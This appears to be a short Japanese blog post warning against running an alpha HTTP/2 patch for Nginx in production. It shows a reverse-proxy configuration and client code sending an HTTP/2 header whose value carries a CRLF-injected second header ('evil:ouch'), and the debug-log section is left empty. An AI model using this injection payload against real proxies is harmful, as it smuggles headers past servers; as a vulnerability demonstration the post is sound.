Nginx http/2 アルファパッチを本番で試しちゃダメだよ

0. せってい

reverse proxyとして動かす。

    server {
        listen  8080 http2 ;
        server_name localhost;

        location / {
          proxy_pass http://localhost:80;
          proxy_set_header hoge $http_hoge;
          root /usr/share/www;
        }
    }

1. おくる

クライアントからHEADERSフレームをおくる

stream = conn.new_stream
head = {
  ':scheme' => "http",
  ':method' => "GET"
  ':authority' => "localhost",
  ':path' => "/",
  'hoge' => "hoge\r\nevil:ouch"
}
stream.headers(head, end_stream: true)

2. Nginx でばっぐろぐ

クライアント側から受信時
